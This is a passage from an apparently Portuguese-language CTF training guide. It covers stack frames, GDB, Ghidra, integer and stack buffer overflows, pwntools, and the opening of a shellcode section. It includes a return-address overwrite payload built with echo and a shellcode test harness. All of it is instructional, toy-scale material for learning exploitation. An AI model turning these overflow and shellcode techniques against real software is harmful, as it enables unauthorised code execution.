* O RBP é o *base pointer* e sua função é guardar o endereço da base da pilha.

Com esses dois registradores, é possível saber onde a pilha começa e onde ela termina.

Outro registrador importante de se ter conhecimento é o `RIP` (ou EIP). Quando estamos executando um programa, ele está carregado na memória RAM. Para saber qual endereço devemos executar, utiliza-se o RIP, o *instruction pointer*.

Quando uma função é chamada, é possivel ver no assembly da função que a chamou que há a seguinte linha de código:

```
call <função>
```

Nesse caso, é o endereço dessa função na memória RAM. O endereço pode ser representado pelo rótulo (nome) da função em assembly e é o que iremos encontrar na maioria dos casos caso olharmos o assembly do código no GDB.

Essa linha faz duas ações:

```
Empilha o RIP atual na stack
RIP = <função>
```

É necessário guardar o RIP atual na stack, pois ao chamar uma função, estamos no meio da execução de uma outra função. Quando acabarmos de executar essa nova função, queremos saber exatamente onde estavamos para continuar o que estavamos fazendo.

Considerando o desenho da stack acima, caso executarmos o `call`, a stack ficará assim:

```
 Stack antes do call          | Stack depois do call
                              | +------------------+
                              | |   RIP anterior   | <-- RSP
+------------------+          | +------------------+
|      Stack       | <-- RSP  | |      Stack       |
|      Frame       |          | |      Frame       |
+------------------+          | +------------------+
|    RBP antigo    | <-- RBP  | |    RBP antigo    | <-- RBP
+------------------+          | +------------------+
|    RIP antigo    |          | |    RIP antigo    |
+------------------+          | +------------------+
```

Depois disso, se olharmos as primeiras duas linhas do assembly da nova função, veremos as seguintes linhas:

```
push rbp        # Empilha o RBP
mov rbp, rsp    # RBP = RSP
```

Quando chamamos uma função, criamos uma "nova stack" em cima da nossa stack. Para isso, o endereço do topo atual (RSP) é atribuido a nova base (RBP). Porém, se apenas fizermos a atribuição, perderemos a referência de onde estava a base da stack anterior quando formos voltar a função anterior. Por isso, antes de atribuir, empilhamos o endereço da base atual (RBP) na stack.

Visualmente, ocorrerá o seguinte:

```
Stack depois do call          |  Stack após o push
                              | +------------------+
                              | |   RBP anterior   | <-- RSP
+------------------+          | +------------------+
|   RIP anterior   | <-- RSP  | |   RIP anterior   |
+------------------+          | +------------------+
|      Stack       |          | |      Stack       |
|      Frame       |          | |      Frame       |
+------------------+          | +------------------+
|    RBP antigo    | <-- RBP  | |    RBP antigo    | <-- RBP
+------------------+          | +------------------+
|    RIP antigo    |          | |    RIP antigo    |
+------------------+          | +------------------+
```

Ao fazer a atribuição:

```
 Stack após o push            | Stack após atribuição
+------------------+          | +------------------+ <-- RSP
|   RBP anterior   | <-- RSP  | |   RBP anterior   | <-- RBP
+------------------+          | +------------------+
|   RIP anterior   |          | |   RIP anterior   |
+------------------+          | +------------------+
|      Stack       |          | |      Stack       |
|      Frame       |          | |      Frame       |
+------------------+          | +------------------+
|    RBP antigo    | <-- RBP  | |    RBP antigo    |
+------------------+          | +------------------+
|    RIP antigo    |          | |    RIP antigo    |
+------------------+          | +------------------+
```

Para finalizar, caso a nova função utilize variáveis locais, será alocado o número de bytes necessário para essas variáveis, criando um espaço chamado *stack frame*.

Para fins ilustrativos, considere uma função que utilize 16 bytes para variáveis locais, ou seja, 0x10 bytes em hexadecimal. Seguido do push e do mov (atribuição), haverá a seguinte linha:

```
sub rsp, 0x10
```

Como a stack cresce "para baixo", ou seja, do maior endereço para o menor endereço, ao subtrair um valor do *stack pointer*, estamos deixando o RSP mais "alto" na pilha.

Portanto, essa linha teria o seguinte efeito:

```
Stack após atribuição         |  Stack após alocação
                              | +------------------+
                              | |                  | <-- RSP
                              | |      Stack       |
                              | |      Frame       |
                              | |                  |
+------------------+ <-- RSP  | +------------------+
|   RBP anterior   | <-- RBP  | |   RBP anterior   | <-- RBP
+------------------+          | +------------------+
|   RIP anterior   |          | |   RIP anterior   |
+------------------+          | +------------------+
|      Stack       |          | |      Stack       |
|      Frame       |          | |      Frame       |
+------------------+          | +------------------+
|    RBP antigo    |          | |    RBP antigo    |
+------------------+          | +------------------+
|    RIP antigo    |          | |    RIP antigo    |
+------------------+          | +------------------+
```

Agora que está alocado, podemos atribuir valores a essas variáveis locais. Para fins didáticos, vamos imaginar que essa stack está em um sistema de 64-bits e queremos colocar nesses 16 bytes um `int` (4 bytes) e uma `string` de 4 caracteres (incluindo o '\0'). No caso da string, será necessário criar um ponteiro `char*` (8 bytes para sistemas 64-bits) e o espaço dos 4 caracteres, totalizando 12 bytes para a string.

As variáveis locais dessa função serão:

```
int var1 = 500;
char var2[4];
```

Vamos considerar também que RBP = 0x7fffffffffff1000 e RSP = 0x7fffffffffff0ff0.

O código em assembly para essas atribuições é:

```
mov DWORD PTR[rbp-0x10],0x1f4                # 0x1f4 == 500
mov DWORD PTR[rbp-0xc],0x7fffffffffff0ffc    # 0x7fffffffffff0ffc == RBP-0x4
```

Ao redesenhar a stack:

```
 Stack após alocação          | Stack após atribuição
+------------------+          | +------------------+
|                  | <-- RSP  | |    0x000001f4    | <-- RSP
|      Stack       |          | |    0xffff0ffc    |
|      Frame       |          | |    0x7fffffff    |
|                  |          | |    0x????????    |
+------------------+          | +------------------+
|   RBP anterior   | <-- RBP  | |   RBP anterior   | <-- RBP
+------------------+          | +------------------+
|   RIP anterior   |          | |   RIP anterior   |
+------------------+          | +------------------+
|      Stack       |          | |      Stack       |
|      Frame       |          | |      Frame       |
+------------------+          | +------------------+
|    RBP antigo    |          | |    RBP antigo    |
+------------------+          | +------------------+
|    RIP antigo    |          | |    RIP antigo    |
+------------------+          | +------------------+
```

A região marcada por `0x????????` é o lixo de memória que está na região da string, já que ainda nao escrevemos nada nela. Perceba que o ponteiro *char\** está escrito de trás para frente. Isso é porque a maioria das arquiteturas hoje em dia seguem o modelo *little-endian*, em que se escreve os bytes do byte menos significativo para o mais significativo. Por enquanto não precisam se preocupar com isso, veremos novamente mais para frente.

Por fim, vamos encerrar essa nova função.

No fim de uma função, haverá as seguintes linhas:

```
leave
ret
```

A linha `leave` executa as seguintes operações:

```
RSP = RBP
Desempilha o RBP antigo para RBP
```

A linha `ret` desempilha o RIP anterior para RIP.

Portanto, visualmente:

```
Stack após atribuição         |   Stack após leave
+------------------+          |                     
|    0x000001f4    | <-- RSP  |      0x000001f4     
|    0xffff0ffc    |          |      0xffff0ffc     
|    0x7fffffff    |          |      0x7fffffff     
|    0x????????    |          |      0x????????     
+------------------+          |                     
|   RBP anterior   | <-- RBP  |     RBP anterior    
+------------------+          | +------------------+
|   RIP anterior   |          | |   RIP anterior   | <-- RSP
+------------------+          | +------------------+
|      Stack       |          | |      Stack       |
|      Frame       |          | |      Frame       |
+------------------+          | +------------------+
|    RBP antigo    |          | |    RBP antigo    | <-- RBP
+------------------+          | +------------------+
|    RIP antigo    |          | |    RIP antigo    |
+------------------+          | +------------------+
```

```
Stack após leave              |   Stack após ret
                              |                     
     0x000001f4               |      0x000001f4     
     0xffff0ffc               |      0xffff0ffc     
     0x7fffffff               |      0x7fffffff     
     0x????????               |      0x????????     
                              |                     
    RBP anterior              |     RBP anterior    
+------------------+          |                     
|   RIP anterior   | <-- RSP  |     RIP anterior    
+------------------+          | +------------------+
|      Stack       |          | |      Stack       | <-- RSP
|      Frame       |          | |      Frame       |
+------------------+          | +------------------+
|    RBP antigo    | <-- RBP  | |    RBP antigo    | <-- RBP
+------------------+          | +------------------+
|    RIP antigo    |          | |    RIP antigo    |
+------------------+          | +------------------+
```

O conteúdo da stack permanece como lixo de memória após o retorno da função.

E assim, encerramos a chamada da nova função.


# GDB

Um manual de referência para o gdb

Gdb é o acrônimo para Gnu Project Debugger. Ele é, como o nome diz, um debugger (depurador), que pode ser utilizado em engenharia reversa para obter o assembly e analisar arquivos binários.

### Rodando e obtendo o Assembly (Disassembling)

Para abrir o programa, execute:

```
gdb nomeDoPrograma
```

Por padrão, o gdb utiliza a sintaxe AT\&T. Como nós vamos utilizar principalmente a sintaxe da Intel, podemos alterar usando:

```
set disassembly-flavor intel
```

Para obter o assembly de uma função (por exemplo, a 'main'), devemos usar:

```
disassemble main
```

É importante notar que o programa será mostrado do jeito que está em memória, porém podemos utilizar outros softwares para visualizar melhor o fluxo do programa.

### GDB - Principais Comandos

Apertar somente 'Enter' é equivalente a digitar e rodar o último comando novamente. (é bem útil quando precisamos repetir o mesmo comando diversas vezes).

#### Controle de Fluxo

* `run arg1, arg2...`  &#x20;

```
     Roda o programa, passando os argumentos arg1, arg2... (pode ser utilizado sem os argumentos também)
```

* `break *address`  &#x20;

```
     Define um breakpoint no endereço dado. Pode também ser utilizado passando o nome da função ao invés do endereço
```

* `del`  &#x20;

```
     Remove todos os breakpoints
```

* `si`  &#x20;

```
     Executa a instrução atual
```

* `ni`  &#x20;

```
     Igual o si, porém não mostra a execução de chamadas de função (caso a instrução seja uma chamada de função, ele continua executando até o retorno da chamada)
```

* `set $eax=x`  &#x20;

```
     Define o valor do registrador \(eax por exemplo\) para o valor dado 'x'
```

* `define hook-stop`  &#x20;

```
     Define uma ação para acontecer sempre que a execução parar (um 'stop'), como o exemplo:
```

```
  define hook-stop
  info registers
  x/24wx $esp
  x/2i $eip
  end
```

#### Registradores

* `info registers`  &#x20;

```
     Mostra o valor dos registradores do programa
```

* `x/wx $reg`  &#x20;

```
     Mostra o conteúdo de "reg" em hexadecimal
```

* `x/s $reg`  &#x20;

```
     Mostra o conteúdo de "reg" em ascii
```

* `x/24wx $esp`   &#x20;

```
     Mostra parte da stack do programa \(24 words, no exemplo\)
```

* `x/2i $eip`  &#x20;

```
     Mostra as próximas duas instruções
```

* `x NomeDaFunção`  &#x20;

```
     Mostra o endereço da função
```

* `p NomeDaFunção`  &#x20;

```
     Mostra o endereço e o tipo de retorno da função
```

* `info proc mappings`  &#x20;

```
     Mostra o mapa da memória
```


# Ghidra

## O que é?

O Ghidra é uma ferramenta open source para a engenharia reversa feita pela agência de segurança nacional dos EUA (NSA) e disponibilizada para o público em 2019.

A ferramenta pode ser baixada pelo [site oficial ](https://ghidra-sre.org/)ou pelo [github](https://github.com/NationalSecurityAgency/ghidra), onde parte do código se encontra.

Uma das grandes vantagens do Ghidra é a ferramenta de *decompile*, que permite que seja visualizado um código "descompilado" de um binário. Essa ferramenta suporta diversas arquiteturas nativamente e existem alguns plugins para adicionar suporte de outras.

Usualmente os binários que serão analisados vão ser das linguagens C/C++, mas também é possível analisar por exemplo binários escritos em Golang, análise que funciona melhor caso tenha plugins específicos para isso.

O Ghidra funciona tanto para Linux como para Windows (p/ Mac também), sem alterações significativas no seu funcionamento básico.

## Criando um novo Projeto

A tela inicial do ghidra é algo semelhante à tela a seguir:

![](https://1857820393-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M2BqbbxnmfvPTRrxNQc%2F-M8kSrubWndbCy8wSMdd%2F-M8kUbQDjP682VBICT_V%2Fimage.png?alt=media\&token=7fd9059a-59b2-43a2-8220-4a14d1e4d78d)

Para criar um novo projeto basta selecionar a opção de novo projeto e criar um não compartilhado (dado que a versão compartilhada é feita para ser usada por múltiplos usuários simultaneamente em um servidor), escolher um nome, caminho e criar.

Vai ser criada uma pasta, então você arrasta um binário ou o importa (tecla de atalho i). O formato tende a ser identificado automaticamente, então basta confirmar as seleções, onde uma nova tela vai abrir com diversas informações sobre os metadados do executável. Abra o codebrowser (ou clique 2 vezes no executável) e vá para a tela inicial.

Quando iniciar, clique em analisar para que seja possível obter informações do binário de forma automática. Recomendamos dar uma olhada em cada uma das opções e tentar entender o que elas significam, mas para um uso básico basta deixar tudo na opção padrão.

Uma das janelas mais importantes do programa encontra-se na esquerda, que é onde estarão listadas as funções. Procure pela main ou por funções interessantes, quando selecionar a função que quiser ela automaticamente vai aparecer na tela.

![Janela de símbolos, onde encontram-se as funções](https://1857820393-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M2BqbbxnmfvPTRrxNQc%2F-M8kSrubWndbCy8wSMdd%2F-M8kWLcGQX4LxR83yVAb%2Fimage.png?alt=media\&token=4ea098de-08dd-4ccf-965f-e7040244453c)

![O disassembly na tela da esquerda e o código decompilado na tela da direita](https://1857820393-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M2BqbbxnmfvPTRrxNQc%2F-M8kSrubWndbCy8wSMdd%2F-M8kWjqmgfIq8EWuy5Eg%2Fimage.png?alt=media\&token=1b61f132-79fe-4c45-bec2-8d30ab227e9e)

As hotkeys estarão na cheatsheet abaixo, mas já saiba que as mais importantes agora no início são L, que serve para renomear objetos selecionados e Ctrl+L, para ajeitar um tipo. (Por exemplo representar várias variáveis seguidas como um vetor)

Clicando duas vezes em uma função entra-se no código dela e Alt+Left volta para o local anterior.\
Caso queira desfazer alguma operação, o clássico Ctrl+Z é utilizado.

## Cheatsheet

Abaixo estão algumas imagens de um cheatsheet (uma "colinha") com as hotkeys mais importantes.

### Load/Import

Essa tabela apresenta as hotkeys para criar, abrir e salvar projetos, além de importar e exportar binários.

![Load Project](https://i.imgur.com/OBrbE8a.png)

### Navegação

Essas são as hotkeys para se movimentar pelo código. (menção pra Alt+Left/Right para voltar ou avançar para locais onde estava anteriormente)

![Navigation](https://i.imgur.com/kYmuMpU.png)

### Marcação (Markup)

Essas hotkeys são muito importantes para deixar o código mais organizado e legível, alterar nome e tipo de variáveis pode deixar um trecho de código bem mais claro.

![Markup1](https://i.imgur.com/YqylOj9.png) ![Markup2](https://i.imgur.com/8e3xSW9.png)

### Pesquisa/Busca

Essas hotkeys são utilizados para fazer buscas no programa, tanto no código (texto), quanto na memória.

![Search](https://i.imgur.com/npi0O8u.png)

### Ajuda/Configurações

Essas são as hotkeys para alterar configurações do ghidra, além da hotkey para o *Help*, que tem informações e explicações de como utilizar o ghidra.

![Help](https://i.imgur.com/OOKxuXA.png)

Link do Cheatsheet completo: <https://ghidra-sre.org/CheatSheet.html>


# Pwning

Pwning, ou "pwn", é uma giria que vem da escrita errada da palavra inglesa "own", visto que as teclas "o" e "p" são próximas. Ela é utilizada com o significado de tomar controle de algum sistema.

Isso envolve a exploração de certos comportamentos anômalos presentes em um sistema, como por exemplo um overflow ou um acesso indevido.


# Integer Overflow

Uma das anomalias mais simples que talvez possa ser explorada é o Integer Overflow.

Quando um inteiro é somado muitas vezes, seu número pode ultrapassar sua capacidade de representação.

Por exemplo, um inteiro de 4 bytes pode representar do número `-2147483648` ao `2147483647`. Se somarmos 1 a um inteiro de 4 bytes com valor `2147483647`, ele se tornará `-2147483648` por causa da sua representação em complemento de 2 e esse comportamento é chamado de **Integer Overflow**. O comportamento oposto que acontece ao subtrair 1 de `-2147483648` é chamado de **Integer Underflow**.

Uma forma de explorar esse comportamento é caso esse inteiro esteja sendo usado como um *offset* de alguma posição de memória ou uma expressão condicional (if). Fazendo um Integer Overflow, você pode ter acesso a uma posição de memória que o programa não permitia, ou ultrapassar alguma checagem de uma forma não pretendida.

Em geral, um Integer Overflow é uma vunerabilidade bem simples, e na maioria dos casos, não é possível explorar muito com ele. Mas uma forma de overflow bem mais perigosa que o Integer Overflow é o Buffer Overflow, que veremos a seguir.


# Buffer Overflow

## Buffer Overflow

Buffer Overflow, também chamado de *Buffer Overrun*, é uma anomalia em um programa em que, ao escrever dados em um buffer (armazenamento temporário de dados), a escrita ultrapassa o tamanho do buffer e começa a escrever nos espaços adjacentes.

Quando começamos a programar em C, é muito comum usarmos o seguinte *statement* para ler strings:

`scanf("%s", str);`

Porém, quando usamos dessa forma, não especificamos quantos caracteres devemos ler.

Se lermos uma quantidade de caracteres maior que o tamanho da alocação que fizemos para o buffer da string, nosso programa pode se comportar de formas estranhas, como por exemplo causar um erro chamado **segmentation fault**.

### Segmentation Fault

Segmentation fault (falha de segmentação), também conhecido como *segfault* ou *access violation*, é uma falha causada por um acesso indevido a uma posição de memória protegida.

Os segmentos de memória possuem diferentes tipos de permissões atreladas a elas. Os três tipos de permissão são:

* Leitura (Read)
* Escrita (Write)
* Execução (Execution)

Caso o programa tente acessar um segmento da memória sem a devida permissão, ocorre o *segfault*.

Por exemplo, digamos que uma certa região da memória está marcada para apenas leitura. Se o programa tentar escrever algo nessa região da memória, será causado o *segmentation fault*.

### Algumas funções comuns em C que permitem Buffer Overflow

* scanf() com %s e suas variações
* gets()
* strcpy()
* strcat()
* sprintf()

Lembrando também que funções supostamente seguras como fgets() com um limite de caracteres errado também pode causar buffer overflow.

### Tipos de Buffer Overflow

Há certas peculiaridades do local da memória em que o buffer está armazenado que podem causar comportamentos especiais em um buffer overflow. Note que a organização desses locais pode variar dependendo da implementação.

#### Stack Buffer Overflow

Um ataque de buffer overflow na stack costuma utilizar certas características da stack, como por exemplo ela crescer para baixo e possuir o endereço de retorno da função salvo na chamada da função. Essa última característica pode permitir que um ataque de buffer overflow possa mudar o fluxo do programa e até executar código arbitrário.

#### Heap Overflow

Heap Overflow, conhecido também como *Heap Overrun*, é um buffer overflow na memória Heap. Ataques de heap overflow costumam involver a corrupção de valores do cabeçalho de chunks (regiões de memória alocadas ou desalocadas) da heap.

## Stack Buffer Overflow

Vamos ver o que um buffer overflow na stack pode causar de comportamento anômalo.

```
int var1 = 500;
char var2[4];
```

```
+------------------+        
|    0x000001f4    | <-- RSP 
|    0xffff0ffc    |         
|    0x7fffffff    |        
|    0x????????    |        
+------------------+        
|   RBP anterior   | <-- RBP
+------------------+        
|   RIP anterior   |        
+------------------+        
|      Stack       |        
|      Frame       |        
+------------------+        
|    RBP antigo    |        
+------------------+        
|    RIP antigo    |        
+------------------+
```

Utilizando essa chamada como exemplo, em que `RBP = 0x7fffffffffff1000` e `RSP = 0x7fffffffffff0ff0`, se antes da função retornar, fosse lido um valor para a string, a stack estaria assim:

```
Leitura de 3 caracteres 'A' (0x41) finalizado com '\0'
+------------------+        
|    0x000001f4    | <-- RSP 
|    0xffff0ffc    |         
|    0x7fffffff    |        
|    0x00414141    |        
+------------------+        
|   RBP anterior   | <-- RBP
+------------------+        
|   RIP anterior   |        
+------------------+        
|      Stack       |        
|      Frame       |        
+------------------+        
|    RBP antigo    |        
+------------------+        
|    RIP antigo    |        
+------------------+
```

O espaço de memória para a string que havia sido alocada e continha lixo agora passa a guardar 3 'A' e um '\0', ou seja, 0x00414141.

Mas se estivermos lendo com o seguinte *statement*:

`scanf("%s", var2);`

...não estamos especificando o número máximo de caracteres a serem lidos.

O que aconteceria se alguem digitasse "ABCDEFG"?

**Tabela ASCII:**

| Caractere | Hexadecimal |
| :-------: | :---------: |
|    '\0'   |     0x00    |
|    'A'    |     0x41    |
|    'B'    |     0x42    |
|    'C'    |     0x43    |
|    'D'    |     0x44    |
|    'E'    |     0x45    |
|    'F'    |     0x46    |
|    'G'    |     0x47    |

Memória:

```
+------------------+        
|    0x000001f4    | <-- RSP 
|    0xffff0ffc    |         
|    0x7fffffff    |        
|    0x44434241    |        
+------------------+        
|    0x00474645    | <-- RBP
+------------------+        
|   RIP anterior   |        
+------------------+        
|      Stack       |        
|      Frame       |        
+------------------+        
|    RBP antigo    |        
+------------------+        
|    RIP antigo    |        
+------------------+
```

Como podemos ver, a posição de memória que guardava o RBP anterior foi corrompida. Se retornassemos da função, o RBP iria para a posição `0x00474645`, o que talvez possa causar problemas na execução do programa.

E se colocassemos mais 4 caracteres? Para a string "ABCDEFGHIJK", teriamos:

```
+------------------+        
|    0x000001f4    | <-- RSP 
|    0xffff0ffc    |         
|    0x7fffffff    |        
|    0x44434241    |        
+------------------+        
|    0x48474645    | <-- RBP
+------------------+        
|    0x00515049    |        
+------------------+        
|      Stack       |        
|      Frame       |        
+------------------+        
|    RBP antigo    |        
+------------------+        
|    RIP antigo    |        
+------------------+
```

Nós corrompemos agora o endereço de retorno (RIP anterior) também. Mas espera, então após retornar dessa função, será executado a instrução com o endereço `0x00515049`? **Exatamente.** Mas e se essa região não for uma região com permissões para execução? **Nesse caso, teremos um `segmentation fault`.**

Agora vamos pensar por outro lado, e se a região para qual o RIP foi mandado for uma região executável, como por exemplo a região de uma função? **Nesse caso, as instruções nessa região seriam executadas.**

Se fizermos uma engenharia reversa do programa e acharmos o endereço das funções, poderiamos executá-las arbitrariamente com um buffer overflow. Porém, provavelmente o endereço conterá caracteres que não conseguiriamos escrever com um teclado, como por exemplo os caracteres da tabela ASCII de 0 a 31. Nesse caso, poderiamos usar o comando `echo` para escrever esses bytes.

Vamos tentar escrever "ABC" usando o `echo` e as representações dos três caracteres em hexadecimais.

Pela tabela ASCII, 'A' é o caractere `0x41`, 'B' é o `0x42` e 'C' é o `0x43`. O comando `echo` no Terminal para imprimir esses três caracteres seria o seguinte:

`echo -ne '\x41\x42\x43'`

* `echo` imprime a mensagem passada como argumento
* `-e` permite o uso de caracteres de escape com o `\`, igual strings em C
* `-n` faz com que ele não termine com um `\n`

Juntando `-e` e `-n` forma o `-ne`. Assim como em C, para representarmos um caractere de escape dado em hexadecimal, usamos `\x` seguido do número hexadecimal dele.

Um detalhe que precisamos nos atentar ao escrever um endereço ou qualquer outro dado que não seja uma string é que esse dado provavelmente deve estar na representação **little-endian**.

Little-endian é uma representação que começa do byte menos significativo para o mais significativo. Por exemplo, uma representação do inteiro `1` na memória seria `0x00000001`. Porém, o processador leria e escreveria os bytes na seguinte ordem:

`0x01` `0x00` `0x00` `0x00`

Portanto, para escrever um dado como `0x01234567`, teríamos que escrever os bytes na seguinte ordem:

`0x67` `0x45` `0x23` `0x01`

Para escrever esse dado usando `echo`, fariamos assim:

`echo -ne '\x67\x45\x23\x01'`

No exemplo anterior, se quisessemos que o endereço de retorno fosse `0x01234567`, teríamos que escrever qualquer coisa nos 4 bytes do buffer e nos 4 bytes do RBP anterior e por fim escrever o endereço em si. O comando seria:

`echo -ne 'AAAAAAAA\x67\x45\x23\x01'`

Para redirecionar a saida do echo para a entrada do programa (stdin), poderiamos usar o `|`. Assim:

`echo -ne 'AAAAAAAA\x67\x45\x23\x01' | ./meuprograma`

Ou também escrever esses dados a serem enviados (payload) em um arquivo e redirecioná-lo para o programa:

`echo -ne 'AAAAAAAA\x67\x45\x23\x01' > payload.txt` `./meuprograma < payload.txt`

Esse segundo método é especialmente útil quando estamos usando o gdb, já que não conseguimos usar o | dentro dele. No gdb, o comando para redirecionar esse `payload.txt` seria:

`run < payload.txt`

Dessa forma, temos todas as ferramentas necessárias para explorar um stack buffer overflow.


# Pwntools

## O que é

Pwntools é um framework para CTFs e desenvolvimento de exploits, escrito em python, com o objetivo principal de agilizar prototipagem e desenvolvimento, mas não tão útil assim caso seja algo mais "profissional".

## &#x20;Instalando

Instalar o pwntools é simples. O requisito básico é ter o python3 e o pip (referente ao python 3) instalado. Caso esteja usando alguma distribuição debian based (ubuntu, kali, debian), os comandos são os seguintes:

```bash
apt-get update
apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
python3 -m pip install --upgrade pip
```

E, para instalar o pwntools em si:

```bash
python3 -m pip install --upgrade pwntools
```

## Utilização Básica

Para utilizar o pwntools, primeiro o importamos com `from pwn import *` e então utilizamos as suas funções como seria feito em python usualmente, por exemplo no código abaixo:

```python
from pwn import *

# Cria uma comunicação com um processo
p = process('./communication')

while True:
    # Recebe uma linha no formato byte array
    line = p.recvline()
    
    # Decoda-se essa linha em UTF-8 (transformando em string)
    line = line.decode("UTF-8")
    print(line)
    
    # Forma uma lista baseada nessa linha, dividindo no ' '
    line = line.split(' ')
    print(line)

    result = int(line[0]) * int(line[2])
    
    # Envia uma linha com o resultado obtido
    # No formato byte array (encodado)
    p.sendline(str(result).encode())
```

## Diferentes Módulos

O pwntools tem vários módulos para diferentes funções, no [vídeo ](https://www.youtube.com/watch?v=OAIvkINgCtQ)sobre comunicações focamos principalmente no módulo Tubes, que permite interação entre processos e algumas ferramentas de redes, mas existem outros que são tão utilizados quanto esse.

### Tubes

Módulo relacionado a comunicação e ferramentas de redes/interação entre processos.

Os principais comandos são:

```python
from pwn import *
# process(nomeprocesso) - cria um canal de comunicação com um processo
    p = process('sh')
    
# remote("ip", porta) - cria um canal de comunicação com um servidor
    r = remote('127.0.0.1', 1337)
    # a maioria dos comandos de remote e processos são iguais
    
# sendline(bytearray) - Envia um byte array para o servidor
    p.sendline(b'AAAAA')
    
# recvline() - Recebe uma linha (em bytes) do servidor
    line = p.recvline()

# recvuntil(b'bla') - Recebe e retorna tudo até a string especificada no argumento (inclusive)
    all = p.recvuntil(b': ')
    
# interactive() - Cria uma sessão interativa (como no terminal)
    p.interactive()
    
# ssh('user', 'ip', password='senha') - Cria uma sessao de ssh
    session = ssh('ganesh', 'gitbook.ganeshicmc.com', password='senha123')
    # p = session.process('sh')
    
```

### Utility

Utilitários no geral, como manipulação de bytes, hashing e manipulação de arquivos

#### Manipulação de números/bytes

```python
from pwn import *
# pack(inteiro) - transforma um número em bytearray
    pack(67305985) # retorna b'\x01\x02\x03\x04'
    
# unpack(bytearray) - transforma bytearray em inteiro
    unpack(b'\x01\x02\x03\x04') # retorna 67305985
    
# p32(numero) - transforma um número em um bytearray de 32 bits
# p64(numero) - transforma um número em um bytearray de 64 bits
    # levam em conta o contexto (bom para transformar endereços para little endian)
    p32(0x80044242) # retorna b'BB\x04\x80' (B é 0x42)
```

#### Arquivos

```python
from pwn import *

# write('nomearquivo', 'dados') # escreve em um arquivo
    write('oi.txt', 'tudobom')
# read('nomearquivo', quantidadeBytes) # lê X caracteres de um arquivo
    read('oi.txt', 5) # retorna 'tudob' 
```

#### Hashing e Encoding

```python
# Base64 (decoding e encoding)
    b64d(b64e('hello')) # retorna hello

# Hashes
    md5sumhex('hello') == '5d41402abc4b2a76b9719d911017c592'
    write('file', 'hello')
    md5filehex('file') == '5d41402abc4b2a76b9719d911017c592'
    sha1sumhex('hello') == 'aaf4c61ddcc5e8a2dabede0f3b482cd9aea9434d'

# URL Encoding
    urlencode("Hello, World!") == '%48%65%6c%6c%6f%2c%20%57%6f%72%6c%64%21'

# Hex Encoding
    enhex('hello') # retorna '68656c6c6f'
    unhex('776f726c64') # retorna 'world'
```

### Context

O módulo context serve para mudar especificações de arquitetura, log, timeout, endianness dos arquivos... que tal dar uma olhada [nele](https://github.com/Gallopsled/pwntools-tutorial/blob/master/context.md)?

### Outros

Outros módulos que não vamos falar sobre aqui estão na documentação oficial (e no tutorial) nos links extras.

## Links extras

A [documentação ](http://docs.pwntools.com/en/stable/)do pwntools não é muito clara apesar de ter bastante coisa, mas o repositório [pwntools-tutorial](https://github.com/Gallopsled/pwntools-tutorial) funciona como uma boa referência para a biblioteca.


# Shellcode

Agora que sabemos um método de mudar o fluxo de execução do programa, seria interessante conseguirmos injetar um código arbitrário no programa para executar comandos que o programa original não conseguiria fazer, mas que são interessantes para nós. É aí que entra o **shellcode**.

Shellcode nada mais é do que um pedaço de código que usamos como payload, ou seja, dados a serem transmitidos, durante a exploração de uma vunerabilidade com o propósito de ser executado.

É chamado de shellcode por normalmente envolver a abertura de uma *shell* durante a execução, mas não é necessariamente limitado a isso. Mas o que seria uma shell?

Shell é uma interface entre o usuário e os serviços de um sistema operacional. Elas podem usar uma interface gráfica do usuário (GUI), como o *Windows shell* (que possui o Menu Iniciar, a Barra de Tarefas e diversas outras funcionalidades), ou podem usar uma interface de linha de comando (CLI), como o *bash*, o *sh*, o *zsh*, entre outros que você pode usar a partir de seu *Terminal* ou *Prompt de Comando*. É mais comum se referir a shells de linha de comando como *shell* do que as de interface gráfica, especialmente quando estamos falando de shellcode.

Esse tipo clássico de shellcode, que envolve abrir uma shell, é interessante quando há um programa rodando em uma porta de uma máquina na rede que você pode interagir ou quando esse programa possui permissões maiores que a do seu usuário atual, pois ao abrir uma shell com seu shellcode, você terá acesso à maquina com possivelmente as mesmas permissões desse tal programa. Portanto você pode conseguir acesso a uma máquina ou realizar uma escalada de privilégios.

Vamos tentar fazer um shellcode simples para entender como ele funciona.

Primeiro, vamos fazer um programa em C para testar se um shellcode funciona. O programa será o seguinte:

```c
void (*shellcode)() = "[insira seu shellcode aqui]";

int main(void) {
    (*shellcode)();
    return 0;
}
```

Ele será compilado com as flags do gcc `-z execstack` e `-Wno-incompatible-pointer-types`, podendo ser adicionado o `-m32` para testar shellcodes em 32-bits.

```
gcc testador.c -o testador -z execstack -Wno-incompatible-pointer-types -m32
```

Agora que temos o testador, vamos tentar escrever um programa simples em assembly que simula a função `exit()` em C com o parâmetro `10` e salvaremos como `exit.asm`.

```
    section .text     ; Define que essa região do código é para as instruções

    global _start     ; Define que o programa começa por _start

_start:
    mov eax, 1        ; eax ( código da syscall ) = 1 ( exit )
    mov ebx, 10       ; ebx ( parâmetro da syscall ) = 10
    int 0x80          ; Chama a syscall ( exit(10) )
```

Para montarmos esse programa, usaremos o `nasm` e para linkar o objeto montado pelo nasm, usaremos o `ld`.

```
nasm -f elf32 exit.asm -o exit.o
ld -m elf_i386 exit.o -o exit
```

Podemos executá-lo com `./exit` e ver a código de saída do programa com `echo $?`. Assim, vemos que o nosso programa está funcionando como deveria.

Para pegarmos os bytes desse programa, podemos usar o objdump.

Digitando `objdump -D exit`:

```
exit:     file format elf32-i386


Disassembly of section .text:

08049000 <_start>:
 8049000:       b8 01 00 00 00          mov    $0x1,%eax
 8049005:       bb 0a 00 00 00          mov    $0xa,%ebx
 804900a:       cd 80                   int    $0x80
```

Portanto, os bytes do programa são:

```
b8 01 00 00 00
bb 0a 00 00 00
cd 80
```

Colocando eles em nosso testador:

```c
void (*shellcode)() = "\xb8\x01\x00\x00\x00\xbb\x0a\x00\x00\x00\xcd\x80";

int main(void) {
    (*shellcode)();
    return 0;
}
```

Compilando e checando o código de saída:

```bash
gcc testador.c -o testador -z execstack -Wno-incompatible-pointer-types -m32
./testador
echo $?
```

Podemos ver que o código de saída é 10, como esperado.

Agora que temos uma ideia do que é shellcode, vamos testar um shellcode que abre uma shell.

O pwntools possui uma ferramenta chamada `shellcraft` que cria um shellcode. O shellcode dado vai estar em assembly e podemos transformar em bytes usando a ferramenta `asm()`.

Testando no interpretador python:

```
>>> from pwn import *
